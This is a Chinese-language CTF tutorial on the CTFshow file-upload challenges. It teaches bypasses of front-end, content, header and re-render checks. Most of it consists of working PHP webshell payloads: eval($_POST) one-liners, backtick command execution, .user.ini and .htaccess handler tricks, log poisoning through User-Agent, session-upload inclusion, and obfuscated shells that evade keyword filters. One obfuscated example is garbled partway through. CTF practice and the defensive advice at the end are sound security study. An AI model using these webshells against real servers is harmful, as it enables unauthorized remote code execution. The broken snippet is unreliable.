php代码审计前奏之ctfshow之文件上传
字数 1543 2025-08-15 21:33:34
CTFshow 文件上传漏洞实战教学
基础概念
文件上传漏洞是Web安全中常见的一种漏洞类型,攻击者通过上传恶意文件获取服务器权限。本教学基于CTFshow平台的文件上传题目,从基础到高级逐步讲解各种绕过技巧。
基础绕过技巧
Web151-152:前端验证绕过
- 漏洞点:仅前端验证文件类型
- 绕过方法:
- 使用Burp Suite等工具拦截请求
- 修改文件后缀为.php
- 修改Content-Type为image/png
Web153:.user.ini利用
- 利用条件:
- 服务器使用PHP且运行在CGI/FastCGI模式
- 上传目录下有可执行的php文件
- 攻击步骤:
- 上传图片马(如ma.png)
- 上传.user.ini文件,内容:
auto_prepend_file=ma.png - 访问同目录下的php文件(如/upload/index.php)触发执行
内容过滤绕过
Web154-156:PHP内容过滤
- 过滤内容:php字符串
- 绕过方法:
- 使用短标签:
<?=eval($_POST['a']);?> - 使用替代语法:
<script language="php">eval($_POST['a']);</script> - 当
[被过滤时,使用{}替代:eval($_POST{'a'});
- 使用短标签:
Web157-158:分号过滤
- 过滤内容:分号
; - 绕过方法:
- 使用
?>结束标签替代分号 - 示例:
<?=system('ls')?>
- 使用
Web159:括号过滤
- 过滤内容:
( - 绕过方法:
- 使用反引号执行命令:
<?=`cat ../*`?>
- 使用反引号执行命令:
Web160:多重过滤
- 过滤内容:php、[、{、;、(、反引号、空格
- 绕过方法:
- 字符串拼接:
<?=include"/var/lo"."g/nginx/access.lo"."g"?> - 通过User-Agent注入PHP代码
- 字符串拼接:
高级绕过技巧
Web161:文件头检测
- 检测机制:检查文件头是否为图片
- 绕过方法:
- 在文件开头添加图片标识,如GIF89a
- 示例:
GIF89a<?php eval($_POST['a']);?>
Web162-163:Session文件包含
- 利用条件:能上传文件并包含session文件
- 攻击步骤:
- 构造表单利用session.upload_progress
- 竞争上传包含session的文件
- 包含/tmp/sess_[sessionid]文件执行代码
Web164-165:二次渲染绕过
- PNG绕过:
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7,...); $img = imagecreatetruecolor(32, 32); // 生成可绕过二次渲染的PNG ?> - JPG绕过:
<?php $miniPayload = "<?=eval(\$_POST[1]);?>"; // 使用特殊脚本处理JPG文件 ?>
Web167:.htaccess利用
- 利用方法:
- 上传.htaccess文件:
<FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>- 上传包含PHP代码的1.jpg文件
Web168:PHP代码免杀
- 过滤内容:eval、assert、_POST、_GET等
- 绕过方法:
- 反引号执行:
<?php $_=`whoami`;echo `whoami`?> - 字符串拼接:
<?php $a='syste'.'m'; ($a)('ls ../'); - $_REQUEST利用:
<?php $a=$_REQUEST['a']; $b=$_REQUEST['b']; $a($b); ?> - 数学函数转换:
<?php $pi=base_convert(37907361743,10,36)(dechex(1598506324)); (
- 反引号执行:
\[pi{abs})( \]
pi{acos});
// get传参 abs=system&acos=ls
?>
```
日志文件包含
Web169-170:日志文件包含
- 攻击步骤:
- 上传.user.ini:
auto_prepend_file=/var/log/nginx/access.log - 修改User-Agent为PHP代码:
<?php eval($_POST[1]);?> - 访问触发文件包含
- 上传.user.ini:
防御建议
- 使用白名单验证文件扩展名
- 检查文件内容而不仅是文件头
- 禁用危险的PHP函数
- 对上传文件重命名
- 设置正确的文件权限
- 将上传文件存储在非Web可访问目录
- 使用随机目录名存储上传文件
通过本教学,您应该掌握了从基础到高级的文件上传漏洞利用技术。在实际渗透测试中,请确保获得授权后再进行测试。